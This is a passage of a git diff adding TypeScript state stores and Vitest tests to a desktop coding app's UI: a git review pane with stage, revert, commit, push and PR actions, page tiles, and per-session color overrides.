+    await createOrOpenPr()
+
+    expect(review.createPr).toHaveBeenCalledWith('/repo')
+    expect(
+      (window.clawcodexDesktop as unknown as { openExternal: ReturnType<typeof vi.fn> }).openExternal
+    ).toHaveBeenCalledWith('https://example.com/pr/new')
+  })
+})
+
+describe('refreshShipInfo', () => {
+  it('populates ship info from the bridge', async () => {
+    const info: ClawCodexReviewShipInfo = {
+      ghReady: true,
+      pr: { url: 'https://example.com/pr/3' }
+    } as ClawCodexReviewShipInfo
+
+    stubReview({ shipInfo: vi.fn(async () => info) })
+
+    await refreshShipInfo()
+
+    expect($reviewShipInfo.get()).toEqual(info)
+  })
+
+  it('resets ship info when there is no bridge', async () => {
+    delete (window as unknown as { clawcodexDesktop?: unknown }).clawcodexDesktop
+    $reviewShipInfo.set({ ghReady: true, pr: { url: 'x' } } as ClawCodexReviewShipInfo)
+
+    await refreshShipInfo()
+
+    expect($reviewShipInfo.get()).toEqual({ ghReady: false, pr: null })
+  })
+
+  it('resets ship info when the bridge throws', async () => {
+    stubReview({
+      shipInfo: vi.fn(async () => {
+        throw new Error('gh missing')
+      })
+    })
+    $reviewShipInfo.set({ ghReady: true, pr: { url: 'x' } } as ClawCodexReviewShipInfo)
+
+    await refreshShipInfo()
+
+    expect($reviewShipInfo.get()).toEqual({ ghReady: false, pr: null })
+  })
+})
+
+describe('generateCommitMessage', () => {
+  it('returns a one-shot message from the working-tree diff', async () => {
+    stubReview()
+
+    const msg = await generateCommitMessage('avoid this')
+
+    expect(msg).toBe('generated message')
+    expect(requestOneShot).toHaveBeenCalledWith(
+      expect.objectContaining({
+        template: 'commit_message',
+        variables: expect.objectContaining({ avoid: 'avoid this', diff: 'd', recent_commits: 'r' })
+      })
+    )
+    expect($reviewCommitMsgBusy.get()).toBe(false)
+  })
+
+  it('returns empty (no model call) when the diff is blank', async () => {
+    stubReview({ commitContext: vi.fn(async () => ({ diff: '   ', recent: '' })) })
+
+    const msg = await generateCommitMessage()
+
+    expect(msg).toBe('')
+    expect(requestOneShot).not.toHaveBeenCalled()
+  })
+
+  it('returns empty when the bridge lacks commitContext', async () => {
+    const review = stubReview()
+    delete review.commitContext
+
+    const msg = await generateCommitMessage()
+
+    expect(msg).toBe('')
+  })
+})
+
+describe('$reviewCommitDefault', () => {
+  it('remembers the split-button default action', () => {
+    $reviewCommitDefault.set('commitPush')
+    expect($reviewCommitDefault.get()).toBe('commitPush')
+    $reviewCommitDefault.set('commit')
+    expect($reviewCommitDefault.get()).toBe('commit')
+  })
+})
diff --git a/ui-desktop/src/store/review.ts b/ui-desktop/src/store/review.ts
new file mode 100644
index 000000000..71d06e254
--- /dev/null
+++ b/ui-desktop/src/store/review.ts
@@ -0,0 +1,597 @@
+import { atom, computed } from 'nanostores'
+
+import { SIDEBAR_COLLAPSE_MEDIA_QUERY } from '@/app/layout-constants'
+import { PANE_TOGGLE_REVEAL_EVENT } from '@/components/pane-shell'
+import { isPaneVisible, revealTreePane } from '@/components/pane-shell/tree/store'
+import type { ClawCodexReviewFile, ClawCodexReviewShipInfo } from '@/global'
+import { matchesQuery } from '@/hooks/use-media-query'
+import { desktopGit } from '@/lib/desktop-git'
+import { isExcludedPath } from '@/lib/excluded-paths'
+import { requestOneShot } from '@/lib/oneshot'
+import { Codecs, persistentAtom } from '@/lib/persisted'
+
+import { refreshRepoStatus } from './coding-status'
+import { $busy, $currentCwd } from './session'
+import { $workspaceChangeTick } from './workspace-events'
+
+// State for the review pane: the working-tree changed-file list, the selected
+// file's diff, and the git mutations (stage / unstage / revert). The active
+// session's cwd is the repo; the pane reads git as the source of truth, the
+// same bounded "re-probe on structural edges" model as the coding rail.
+//
+// Scope is always "uncommitted" — ClawCodex' flow is agent edits you review BEFORE
+// committing, so branch/last-turn scopes are almost always empty here (unlike
+// Codex, which commits per turn). We show the one view that's always populated.
+
+// Must match the review <Pane id> in desktop-controller (the forced-reveal
+// event is addressed by pane id).
+export const REVIEW_PANE_ID = 'review'
+
+const OPEN_KEY = 'clawcodex.desktop.reviewOpen'
+const COMMIT_DEFAULT_KEY = 'clawcodex.desktop.reviewCommitDefault'
+const TREE_MODE_KEY = 'clawcodex.desktop.reviewTreeMode'
+const SELECTED_KEY = 'clawcodex.desktop.reviewSelectedPath'
+const REVIEW_REFRESH_DEBOUNCE_MS = 100
+const SHIP_INFO_STALE_MS = 30_000
+
+// Persisted so the pane stays open across reloads (like the other rail panes).
+export const $reviewOpen = persistentAtom(OPEN_KEY, false, Codecs.bool)
+
+// The split-button's remembered default action ('commit' | 'commitPush').
+export type CommitAction = 'commit' | 'commitPush'
+
+export const $reviewCommitDefault = persistentAtom<CommitAction>(COMMIT_DEFAULT_KEY, 'commit', {
+  decode: raw => (raw === 'commitPush' ? 'commitPush' : 'commit'),
+  encode: value => value
+})
+
+// Changed-file layout: a flat path list (VS Code's default) or a folder tree.
+export type ReviewTreeMode = 'list' | 'tree'
+
+export const $reviewTreeMode = persistentAtom<ReviewTreeMode>(TREE_MODE_KEY, 'tree', {
+  decode: raw => (raw === 'list' ? 'list' : 'tree'),
+  encode: value => value
+})
+
+export function toggleReviewTreeMode(): void {
+  $reviewTreeMode.set($reviewTreeMode.get() === 'tree' ? 'list' : 'tree')
+}
+
+export const $reviewFiles = atom<ClawCodexReviewFile[]>([])
+export const $reviewLoading = atom(false)
+// False when the active session isn't in a local git repo (detached/fresh chat,
+// remote backend). Lets the pane say "not a repo" instead of stranding on a
+// skeleton or implying a clean repo with "no changes".
+export const $reviewIsRepo = atom(true)
+
+// Largest single-file churn (added + removed) in the current diff. Drives the
+// per-row data bars: each file's bar is its churn relative to this max, so the
+// biggest file fills the row and the rest scale down against it.
+export const $reviewMaxChurn = computed($reviewFiles, files =>
+  files.reduce((max, file) => Math.max(max, file.added + file.removed), 0)
+)
+// Persisted so a relaunch restores the file you were diffing (its diff is
+// re-fetched in refreshReview once the file is confirmed still changed).
+export const $reviewSelectedPath = persistentAtom<null | string>(SELECTED_KEY, null, Codecs.nullableText)
+export const $reviewDiff = atom<null | string>(null)
+export const $reviewDiffLoading = atom(false)
+
+// Ship state: gh availability + this branch's PR, and a busy flag for the
+// commit/push/PR action bar (disables buttons + shows progress).
+export const $reviewShipInfo = atom<ClawCodexReviewShipInfo>({ ghReady: false, pr: null })
+export const $reviewShipBusy = atom(false)
+
+// True while a commit message is being generated (drives the input's spinner).
+export const $reviewCommitMsgBusy = atom(false)
+
+// The pane's repo scope. Null = follow the ACTIVE session's cwd (the classic
+// behavior). A tile's rail opens the pane pinned to ITS worktree instead —
+// tiles can sit in different worktrees than main, and reviewing "the diff I'm
+// looking at" must mean that tile's repo, not whatever main happens to be on.
+export const $reviewScopeCwd = atom<null | string>(null)
+
+/** The repo the pane is reading right now: its pinned scope, else the active
+ *  session's cwd. Exported for pane helpers that join repo-relative paths. */
+export const reviewRepoCwd = (): null | string => $reviewScopeCwd.get()?.trim() || $currentCwd.get()?.trim() || null
+
+const repoCwd = reviewRepoCwd
+
+type ReviewBridge = NonNullable<NonNullable<NonNullable<Window['clawcodexDesktop']>['git']>['review']>
+let reviewRefreshSeq = 0
+let reviewRefreshTimer: ReturnType<typeof setTimeout> | null = null
+let shipInfoSeq = 0
+let shipInfoLastCheckedAt = 0
+
+// The two things every review op needs: the repo cwd + the IPC bridge. Null when
+// either is missing (no session, remote backend), so callers bail in one line.
+function reviewCtx(): { cwd: string; review: ReviewBridge } | null {
+  const cwd = repoCwd()
+  const review = desktopGit()?.review
+
+  return cwd && review ? { cwd, review } : null
+}
+
+// ── Reads ────────────────────────────────────────────────────────────────────
+
+export async function refreshReview(): Promise<void> {
+  const ctx = reviewCtx()
+  const seq = (reviewRefreshSeq += 1)
+
+  if (!$reviewOpen.get() || !ctx) {
+    $reviewFiles.set([])
+    $reviewIsRepo.set(Boolean(ctx))
+
+    // Critical: clear loading on the no-cwd / not-a-repo path too. It's set
+    // true (optimistically) before a refresh is scheduled, so skipping it here
+    // strands the pane on a forever-skeleton for a fresh, detached chat.
+    if (seq === reviewRefreshSeq) {
+      $reviewLoading.set(false)
+    }
+
+    return
+  }
+
+  const { cwd, review } = ctx
+
+  $reviewIsRepo.set(true)
+  $reviewLoading.set(true)
+
+  try {
+    const result = await review.list(cwd, 'uncommitted', null)
+
+    // Ignore a result that resolved after the cwd moved on.
+    if (seq !== reviewRefreshSeq || repoCwd() !== cwd) {
+      return
+    }
+
+    // Hide dep/build/cache dirs and OS noise even when the repo tracks them —
+    // .gitignored paths are already dropped upstream by `git status`.
+    const files = result.files.filter(file => !isExcludedPath(file.path))
+
+    $reviewFiles.set(files)
+
+    // Drop the selection if the file is gone (staged away, reverted) so the diff
+    // pane doesn't strand on a ghost; otherwise lazily fetch its diff so a
+    // restored (persisted) selection re-renders on boot.
+    const selected = $reviewSelectedPath.get()
+    const selectedFile = selected ? files.find(file => file.path === selected) : null
+
+    if (selected && !selectedFile) {
+      clearReviewSelection()
+    } else if (selectedFile && $reviewDiff.get() === null) {
+      void selectReviewFile(selectedFile)
+    }
+  } catch {
+    if (seq === reviewRefreshSeq) {
+      $reviewFiles.set([])
+    }
+  } finally {
+    if (seq === reviewRefreshSeq) {
+      $reviewLoading.set(false)
+    }
+  }
+}
+
+function scheduleReviewRefresh(): void {
+  if (!$reviewOpen.get()) {
+    return
+  }
+
+  if (reviewRefreshTimer) {
+    clearTimeout(reviewRefreshTimer)
+  }
+
+  reviewRefreshTimer = setTimeout(() => {
+    reviewRefreshTimer = null
+    void refreshReview()
+  }, REVIEW_REFRESH_DEBOUNCE_MS)
+}
+
+export async function selectReviewFile(file: ClawCodexReviewFile): Promise<void> {
+  $reviewSelectedPath.set(file.path)
+
+  const ctx = reviewCtx()
+
+  if (!ctx) {
+    $reviewDiff.set(null)
+
+    return
+  }
+
+  $reviewDiffLoading.set(true)
+
+  try {
+    const diff = await ctx.review.diff(ctx.cwd, file.path, 'uncommitted', null, file.staged)
+
+    if ($reviewSelectedPath.get() === file.path) {
+      $reviewDiff.set(diff || '')
+    }
+  } catch {
+    if ($reviewSelectedPath.get() === file.path) {
+      $reviewDiff.set('')
+    }
+  } finally {
+    if ($reviewSelectedPath.get() === file.path) {
+      $reviewDiffLoading.set(false)
+    }
+  }
+}
+
+export function clearReviewSelection(): void {
+  $reviewSelectedPath.set(null)
+  $reviewDiff.set(null)
+  $reviewDiffLoading.set(false)
+}
+
+// ── View state ───────────────────────────────────────────────────────────────
+
+export async function refreshShipInfo(): Promise<void> {
+  const ctx = reviewCtx()
+  const seq = (shipInfoSeq += 1)
+
+  if (!ctx) {
+    $reviewShipInfo.set({ ghReady: false, pr: null })
+
+    return
+  }
+
+  try {
+    const info = await ctx.review.shipInfo(ctx.cwd)
+
+    if (seq === shipInfoSeq && repoCwd() === ctx.cwd) {
+      $reviewShipInfo.set(info)
+      shipInfoLastCheckedAt = Date.now()
+    }
+  } catch {
+    if (seq === shipInfoSeq) {
+      $reviewShipInfo.set({ ghReady: false, pr: null })
+      shipInfoLastCheckedAt = Date.now()
+    }
+  }
+}
+
+function refreshShipInfoIfStale(): void {
+  if (Date.now() - shipInfoLastCheckedAt > SHIP_INFO_STALE_MS) {
+    void refreshShipInfo()
+  }
+}
+
+/** Open the pane scoped to `scopeCwd` (a tile's worktree), or to the active
+ *  session's cwd when null — see `$reviewScopeCwd`. */
+export function openReview(scopeCwd: null | string = null): void {
+  $reviewScopeCwd.set(scopeCwd?.trim() || null)
+  $reviewOpen.set(true)
+  void refreshReview()
+  void refreshShipInfo()
+}
+
+export function closeReview(): void {
+  $reviewOpen.set(false)
+  $reviewScopeCwd.set(null)
+  clearReviewSelection()
+}
+
+export function toggleReview(scopeCwd: null | string = null): void {
+  // Narrow width: the pane is a collapsed overlay (like the sidebar under ⌘B).
+  // Make sure its data is loaded, then slide it in/out via the forced-reveal pin
+  // — never the docked open state, which a 0px track would render invisibly.
+  if (matchesQuery(SIDEBAR_COLLAPSE_MEDIA_QUERY)) {
+    if (!$reviewOpen.get()) {
+      openReview(scopeCwd)
+    }
+
+    window.dispatchEvent(new CustomEvent(PANE_TOGGLE_REVEAL_EVENT, { detail: { id: REVIEW_PANE_ID } }))
+
+    return
+  }
+
+  // Ask the TREE, not `$reviewOpen`. The store stays true while the pane sits
+  // behind a sibling tab in the right column or inside a minimized zone, so a
+  // boolean flip spent the press re-asserting a value it already held and ⌘G
+  // read as a dead key. `revealReview` fronts and un-minimizes; only close when
+  // the diff is genuinely the thing on screen.
+  if (isPaneVisible(REVIEW_PANE_ID)) {
+    closeReview()
+  } else {
+    revealReview(scopeCwd)
+  }
+}
+
+/**
+ * Open the review pane and bring it into view. Unlike `toggleReview` this never
+ * closes an already-open pane — it's the "take me to the diff" entry point used
+ * by the transcript's changed-files card.
+ */
+export function revealReview(scopeCwd: null | string = null): void {
+  const wasOpen = $reviewOpen.get()
+
+  if (!wasOpen) {
+    openReview(scopeCwd)
+  } else if (($reviewScopeCwd.get() ?? null) !== (scopeCwd?.trim() || null)) {
+    // Already open but on another worktree's diff — re-home it. The scope
+    // subscription below clears the stale list and re-probes.
+    $reviewScopeCwd.set(scopeCwd?.trim() || null)
+  }
+
+  if (matchesQuery(SIDEBAR_COLLAPSE_MEDIA_QUERY)) {
+    // The reveal pin is a toggle, so only fire it when the overlay isn't
+    // already slid in — otherwise "show me the diff" would hide the pane.
+    if (!wasOpen) {
+      window.dispatchEvent(new CustomEvent(PANE_TOGGLE_REVEAL_EVENT, { detail: { id: REVIEW_PANE_ID } }))
+    }
+
+    return
+  }
+
+  revealTreePane(REVIEW_PANE_ID)
+}
+
+/** The changed file matching a tool-reported path (absolute or repo-relative). */
+function matchReviewFile(files: readonly ClawCodexReviewFile[], path: string): ClawCodexReviewFile | undefined {
+  const target = path.replace(/\\/g, '/').replace(/\/+$/, '')
+
+  if (!target) {
+    return undefined
+  }
+
+  return files.find(file => {
+    const candidate = file.path.replace(/\\/g, '/')
+
+    return candidate === target || target.endsWith(`/${candidate}`) || candidate.endsWith(`/${target}`)
+  })
+}
+
+/**
+ * Open the review pane on one file's diff. The path comes from a tool call, so
+ * it may be absolute while git reports repo-relative — match on the tail.
+ */
+export async function openReviewForPath(path: string, scopeCwd: null | string = null): Promise<void> {
+  revealReview(scopeCwd)
+  await refreshReview()
+
+  const file = matchReviewFile($reviewFiles.get(), path)
+
+  if (file) {
+    await selectReviewFile(file)
+  }
+}
+
+// ── Mutations ────────────────────────────────────────────────────────────────
+
+// Run a git mutation then re-sync both the review list and the rail's +/- (the
+// working tree changed). A failure is swallowed by the caller's notify wrapper.
+async function afterMutation(): Promise<void> {
+  await refreshReview()
+  void refreshRepoStatus(repoCwd())
+
+  const selected = $reviewSelectedPath.get()
+  const file = selected ? $reviewFiles.get().find(f => f.path === selected) : null
+
+  // Re-fetch the open diff (staging flips which diff — cached vs worktree).
+  if (file) {
+    void selectReviewFile(file)
+  }
+}
+
+export async function stageReviewFile(path: null | string): Promise<void> {
+  await desktopGit()?.review?.stage(repoCwd() ?? '', path)
+  await afterMutation()
+}
+
+export async function unstageReviewFile(path: null | string): Promise<void> {
+  await desktopGit()?.review?.unstage(repoCwd() ?? '', path)
+  await afterMutation()
+}
+
+export async function revertReviewFile(path: null | string): Promise<void> {
+  await desktopGit()?.review?.revert(repoCwd() ?? '', path)
+  await afterMutation()
+}
+
+// Revert is destructive (discards working-tree edits with no undo), so it always
+// routes through a confirm dialog. The target is `{ path }` where `path === null`
+// means "revert all"; `undefined` means no confirm is open. We wrap the path in
+// an object so the `null` ("all") case is distinguishable from "closed".
+export const $reviewRevertTarget = atom<{ path: null | string } | undefined>(undefined)
+
+/** Open the revert confirm for a single file, or `null` for all changes. */
+export function requestRevert(path: null | string): void {
+  $reviewRevertTarget.set({ path })
+}
+
+export function cancelRevert(): void {
+  $reviewRevertTarget.set(undefined)
+}
+
+/** Confirm the pending revert (closes the dialog, then performs it). */
+export async function confirmRevert(): Promise<void> {
+  const target = $reviewRevertTarget.get()
+
+  $reviewRevertTarget.set(undefined)
+
+  if (target) {
+    await revertReviewFile(target.path)
+  }
+}
+
+// ── Ship flow (commit / push / PR) ───────────────────────────────────────────
+
+// Serialize ship actions behind one busy flag so the bar can't double-fire.
+async function runShip<T>(action: () => Promise<T>): Promise<T> {
+  $reviewShipBusy.set(true)
+
+  try {
+    return await action()
+  } finally {
+    $reviewShipBusy.set(false)
+  }
+}
+
+export async function commitChanges(message: string, opts: { push?: boolean } = {}): Promise<void> {
+  const ctx = reviewCtx()
+
+  if (!ctx || !message.trim()) {
+    return
+  }
+
+  await runShip(async () => {
+    await ctx.review.commit(ctx.cwd, message.trim(), Boolean(opts.push))
+    await refreshReview()
+    void refreshRepoStatus(repoCwd())
+    void refreshShipInfo()
+  })
+}
+
+// Monotonic token: each generation captures one; Stop (or a newer press) bumps
+// it, so a stale resolve is ignored. The model call can't be aborted
+// server-side — we just drop its result and free the UI immediately.
+let commitGenSeq = 0
+
+/** Abandon any in-flight commit-message generation and re-enable the input. */
+export function cancelCommitMessage(): void {
+  commitGenSeq += 1
+  $reviewCommitMsgBusy.set(false)
+}
+
+// Draft a commit message from the working-tree diff via a one-off LLM request
+// (outside the conversation — no history, no cache break). `previous` is the
+// current box text: handing it back as "don't repeat this" makes a re-press a
+// real regen even on greedy / temperature-pinned models. Throws so the UI toasts.
+export async function generateCommitMessage(previous = ''): Promise<string> {
+  const ctx = reviewCtx()
+
+  if (!ctx?.review.commitContext) {
+    return ''
+  }
+
+  const gen = (commitGenSeq += 1)
+  const live = () => gen === commitGenSeq
+
+  $reviewCommitMsgBusy.set(true)
+
+  try {
+    const { diff, recent } = await ctx.review.commitContext(ctx.cwd)
+
+    if (!live() || !diff.trim()) {
+      return ''
+    }
+
+    const text = await requestOneShot({
+      template: 'commit_message',
+      temperature: 0.8,
+      variables: { avoid: previous, diff, recent_commits: recent }
+    })
+
+    return live() ? text : ''
+  } finally {
+    if (live()) {
+      $reviewCommitMsgBusy.set(false)
+    }
+  }
+}
+
+export async function pushChanges(): Promise<void> {
+  const ctx = reviewCtx()
+
+  if (!ctx) {
+    return
+  }
+
+  await runShip(async () => {
+    await ctx.review.push(ctx.cwd)
+    void refreshShipInfo()
+  })
+}
+
+// PR button: open the existing PR in the browser, or create one (pushing first)
+// then open it. Caller gates this on shipInfo.ghReady.
+export async function createOrOpenPr(): Promise<void> {
+  const ctx = reviewCtx()
+
+  if (!ctx) {
+    return
+  }
+
+  const existing = $reviewShipInfo.get().pr
+
+  if (existing?.url) {
+    void window.clawcodexDesktop?.openExternal?.(existing.url)
+
+    return
+  }
+
+  await runShip(async () => {
+    const { url } = await ctx.review.createPr(ctx.cwd)
+
+    if (url) {
+      void window.clawcodexDesktop?.openExternal?.(url)
+    }
+
+    void refreshShipInfo()
+  })
+}
+
+// ── Triggers (module-scope, mirror coding-status.ts) ─────────────────────────
+
+// A file-mutating tool finished (event-driven, not polled) → refresh the open
+// pane's changed-file list. gh/PR re-check is NOT here (gh is slow); it runs on
+// the settle edge below.
+$workspaceChangeTick.subscribe(() => {
+  if ($reviewOpen.get()) {
+    scheduleReviewRefresh()
+  }
+})
+
+// Turn settled: final list refresh + the slower gh/PR re-check.
+let prevBusy = $busy.get()
+
+$busy.subscribe(busy => {
+  if (prevBusy && !busy && $reviewOpen.get()) {
+    scheduleReviewRefresh()
+    refreshShipInfoIfStale()
+  }
+
+  prevBusy = busy
+})
+
+// The pane's repo moved under it. For the classic (unscoped) pane that's the
+// active session's cwd changing; for a scoped pane it's a re-home to another
+// tile's worktree — and a main-pane cwd change is deliberately IGNORED while
+// scoped, so switching sessions in main can't yank the diff you're reviewing.
+// Either way: clear the stale file list + selection up front so the pane drops
+// straight to its loading skeleton instead of blipping the previous repo's
+// diff into the new one.
+function onReviewRepoMoved(): void {
+  if ($reviewOpen.get()) {
+    clearReviewSelection()
+    $reviewFiles.set([])
+    $reviewLoading.set(true)
+    scheduleReviewRefresh()
+    void refreshShipInfo()
+  }
+}
+
+$currentCwd.subscribe(() => {
+  if (!$reviewScopeCwd.get()) {
+    onReviewRepoMoved()
+  }
+})
+
+let prevScopeCwd = $reviewScopeCwd.get()
+
+$reviewScopeCwd.subscribe(scope => {
+  if (scope !== prevScopeCwd) {
+    prevScopeCwd = scope
+    onReviewRepoMoved()
+  }
+})
+
+// An outside terminal may have changed the tree while we were away.
+if (typeof window !== 'undefined') {
+  window.addEventListener('focus', () => {
+    if ($reviewOpen.get()) {
+      scheduleReviewRefresh()
+      refreshShipInfoIfStale()
+    }
+  })
+}
diff --git a/ui-desktop/src/store/route-tiles.ts b/ui-desktop/src/store/route-tiles.ts
new file mode 100644
index 000000000..98c6e1da7
--- /dev/null
+++ b/ui-desktop/src/store/route-tiles.ts
@@ -0,0 +1,50 @@
+import { atom } from 'nanostores'
+
+import { readJson, writeJson } from '@/lib/storage'
+
+import type { SplitDir } from './session-states'
+
+/**
+ * Route (page) tiles — a full-page view (Capabilities / Messaging / Artifacts,
+ * or any plugin route) rendered as a layout-tree pane BESIDE the main thread,
+ * the page analog of session tiles. Persisted by path so they re-open on boot.
+ */
+export interface RouteTile {
+  /** The route path this tile renders, e.g. `/skills`. */
+  path: string
+  /** Edge to dock against main on adoption (default right). */
+  dir?: SplitDir
+}
+
+const TILES_KEY = 'clawcodex.desktop.routeTiles.v1'
+
+function loadTiles(): RouteTile[] {
+  const parsed = readJson<unknown>(TILES_KEY)
+
+  return Array.isArray(parsed)
+    ? parsed
+        .filter((t): t is RouteTile => Boolean(t && typeof (t as RouteTile).path === 'string'))
+        .map(t => ({ dir: t.dir, path: t.path }))
+    : []
+}
+
+export const $routeTiles = atom<RouteTile[]>(loadTiles())
+
+function saveTiles(tiles: RouteTile[]) {
+  $routeTiles.set(tiles)
+  writeJson(TILES_KEY, tiles.length === 0 ? null : tiles)
+}
+
+/** Open (or front) a page tile for a route, docked on `dir` (default right).
+ *  Idempotent — an already-open tile keeps its original edge. */
+export function openRouteTile(path: string, dir: SplitDir = 'right') {
+  const tiles = $routeTiles.get()
+
+  if (!tiles.some(t => t.path === path)) {
+    saveTiles([...tiles, { dir, path }])
+  }
+}
+
+export function closeRouteTile(path: string) {
+  saveTiles($routeTiles.get().filter(t => t.path !== path))
+}
diff --git a/ui-desktop/src/store/session-color.test.ts b/ui-desktop/src/store/session-color.test.ts
new file mode 100644
index 000000000..7fd035028
--- /dev/null
+++ b/ui-desktop/src/store/session-color.test.ts
@@ -0,0 +1,141 @@
+import { afterEach, describe, expect, it } from 'vitest'
+
+import type { ProjectInfo, SessionInfo } from '@/types/clawcodex'
+
+import { $projects } from './projects'
+import { $sessions } from './session'
+import { $sessionColorById, $sessionColorOverrides, sessionColorFor, setSessionColorOverride } from './session-color'
+
+let nextId = 0
+
+function makeSession(cwd: null | string, overrides: Partial<SessionInfo> = {}): SessionInfo {
+  return {
+    archived: false,
+    cwd,
+    ended_at: null,
+    id: `s${nextId++}`,
+    input_tokens: 0,
+    is_active: false,
+    last_active: 1_000,
+    message_count: 1,
+    model: 'claude',
+    output_tokens: 0,
+    preview: null,
+    source: 'cli',
+    started_at: 1_000,
+    title: null,
+    tool_call_count: 0,
+    ...overrides
+  }
+}
+
+function makeProject(id: string, folders: string[], color: null | string): ProjectInfo {
+  return {
+    archived: false,
+    board_slug: null,
+    color,
+    created_at: 0,
+    description: null,
+    folders: folders.map((path, i) => ({ added_at: 0, is_primary: i === 0, label: null, path })),
+    icon: null,
+    id,
+    name: id,
+    primary_path: folders[0] ?? null,
+    slug: id
+  }
+}
+
+afterEach(() => {
+  $sessions.set([])
+  $projects.set([])
+  $sessionColorOverrides.set({})
+})
+
+describe('$sessionColorById', () => {
+  it('maps each session under a colored project to that color, keyed by live id', () => {
+    const a = makeSession('/www/app/src', { git_repo_root: '/www/app' })
+    const b = makeSession('/other/place')
+
+    $projects.set([makeProject('p_app', ['/www/app'], '#4a9eff')])
+    $sessions.set([a, b])
+
+    const map = $sessionColorById.get()
+
+    expect(map[a.id]).toBe('#4a9eff')
+    // Sessions with no colored project are absent (a sparse map, not null-filled).
+    expect(b.id in map).toBe(false)
+  })
+
+  it('omits a session whose project has no color', () => {
+    const a = makeSession('/www/app', { git_repo_root: '/www/app' })
+
+    $projects.set([makeProject('p_app', ['/www/app'], null)])
+    $sessions.set([a])
+
+    expect(a.id in $sessionColorById.get()).toBe(false)
+  })
+
+  it('recomputes when the projects list changes (color applied later)', () => {
+    const a = makeSession('/www/app', { git_repo_root: '/www/app' })
+
+    $sessions.set([a])
+    $projects.set([makeProject('p_app', ['/www/app'], null)])
+    expect($sessionColorById.get()[a.id]).toBeUndefined()
+
+    $projects.set([makeProject('p_app', ['/www/app'], '#7bc86c')])
+    expect($sessionColorById.get()[a.id]).toBe('#7bc86c')
+  })
+})
+
+describe('$sessionColorOverrides', () => {
+  it('an override wins over the inherited project color', () => {
+    const a = makeSession('/www/app', { git_repo_root: '/www/app' })
+
+    $projects.set([makeProject('p_app', ['/www/app'], '#4a9eff')])
+    $sessions.set([a])
+    setSessionColorOverride(a.id, '#ff0000')
+
+    expect($sessionColorById.get()[a.id]).toBe('#ff0000')
+  })
+
+  it('clearing an override falls back to the project color', () => {
+    const a = makeSession('/www/app', { git_repo_root: '/www/app' })
+
+    $projects.set([makeProject('p_app', ['/www/app'], '#4a9eff')])
+    $sessions.set([a])
+
+    setSessionColorOverride(a.id, '#ff0000')
+    expect($sessionColorById.get()[a.id]).toBe('#ff0000')
+
+    setSessionColorOverride(a.id, null)
+    expect($sessionColorById.get()[a.id]).toBe('#4a9eff')
+  })
+
+  it('keys on the durable lineage id so a color survives compression', () => {
+    // The live id rotates on auto-compression; the override is stored against the
+    // lineage root, so the continuation tip still resolves to the same color.
+    const root = makeSession('/x', { id: 'root' })
+    const tip = makeSession('/x', { id: 'tip', _lineage_root_id: 'root' })
+
+    setSessionColorOverride('root', '#abcdef')
+
+    $sessions.set([tip])
+    expect($sessionColorById.get().tip).toBe('#abcdef')
+  })
+})
+
+describe('sessionColorFor', () => {
+  it('reads a single session through the same shared map', () => {
+    const a = makeSession('/www/app', { git_repo_root: '/www/app' })
+
+    $projects.set([makeProject('p_app', ['/www/app'], '#5865f2')])
+    $sessions.set([a])
+
+    expect(sessionColorFor(a)).toBe('#5865f2')
+  })
+
+  it('returns undefined for a null/absent session', () => {
+    expect(sessionColorFor(null)).toBeUndefined()
+    expect(sessionColorFor(undefined)).toBeUndefined()
+  })
+})
diff --git a/ui-desktop/src/store/session-color.ts b/ui-desktop/src/store/session-color.ts
new file mode 100644
index 000000000..f7dbad956
--- /dev/null
+++ b/ui-desktop/src/store/session-color.ts
@@ -0,0 +1,80 @@
+import { computed } from 'nanostores'
+
+import { sessionProjectColor } from '@/app/chat/sidebar/projects/workspace-groups'
+import { Codecs, persistentAtom } from '@/lib/persisted'
+import { $projects } from '@/store/projects'
+import { $sessions, sessionPinId } from '@/store/session'
+import type { ProjectInfo, SessionInfo } from '@/types/clawcodex'
+
+// Per-session color OVERRIDES — a user-picked color that wins over the inherited
+// project color (#66565 layer 2). Desktop-local like pins, keyed by the DURABLE
+// lineage id so a color survives auto-compression's session-id rotation. To take
+// this to the TUI later, promote this one atom to a backend SessionInfo.color
+// field — the resolver below and the picker UI stay exactly as they are.
+export const $sessionColorOverrides = persistentAtom<Record<string, string>>(
+  'clawcodex.desktop.sessionColors',
+  {},
+  Codecs.stringRecord
+)
+
+// Set a session's override (null clears it → falls back to the project color).
+export function setSessionColorOverride(durableId: string, color: null | string): void {
+  const prev = $sessionColorOverrides.get()
+
+  if (color) {
+    $sessionColorOverrides.set({ ...prev, [durableId]: color })
+  } else if (durableId in prev) {
+    const next = { ...prev }
+    delete next[durableId]
+    $sessionColorOverrides.set(next)
+  }
+}
+
+// The resolved color for every session, keyed by live session id — the ONE
+// source of truth both the sidebar rows and the pane tabs read, so the two
+// surfaces can never drift. Recomputed only when the session list, projects, or
+// overrides change (all cold atoms; the working/streaming pulse lives in
+// $sessionStates, so a busy flip never rebuilds this), and every consumer reads
+// it as an O(1) lookup rather than re-deriving membership per render.
+//
+// Precedence in one place: an explicit per-session override wins over the
+// inherited project color. Agent-set color (#66565 layer 3) slots in here too.
+function resolveSessionColor(
+  session: SessionInfo,
+  projects: ProjectInfo[],
+  overrides: Record<string, string>
+): string | undefined {
+  return overrides[sessionPinId(session)] ?? sessionProjectColor(session, projects) ?? undefined
+}
+
+export const $sessionColorById = computed(
+  [$sessions, $projects, $sessionColorOverrides],
+  (sessions, projects, overrides) => {
+    const map: Record<string, string> = {}
+
+    for (const session of sessions) {
+      const color = resolveSessionColor(session, projects, overrides)
+
+      if (color) {
+        map[session.id] = color
+      }
+    }
+
+    return map
+  }
+)
+
+// The color for a single session object (the tabs already hold the SessionInfo
+// they render, so they resolve through the same map the sidebar reads). A row
+// that isn't in `$sessions` — e.g. a project-tree session older than the
+// paginated recents page, opened as a tab — misses the map, so fall back to the
+// same resolver the map is built from.
+export function sessionColorFor(session: null | SessionInfo | undefined): string | undefined {
+  if (!session) {
+    return undefined
+  }
+
+  return (
+    $sessionColorById.get()[session.id] ?? resolveSessionColor(session, $projects.get(), $sessionColorOverrides.get())
+  )
+}
diff --git a/ui-desktop/src/store/session-pin-sync.test.ts b/ui-desktop/src/store/session-pin-sync.test.ts
new file mode 100644
index 000000000..653adca46
--- /dev/null
+++ b/ui-desktop/src/store/session-pin-sync.test.ts
@@ -0,0 +1,290 @@
+import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { SessionInfo } from '@/types/clawcodex'
+
+const patch = vi.fn<(id: string, pinned: boolean, profile?: null | string) => Promise<{ ok: boolean }>>(() =>
+  Promise.resolve({ ok: true })
+)
+
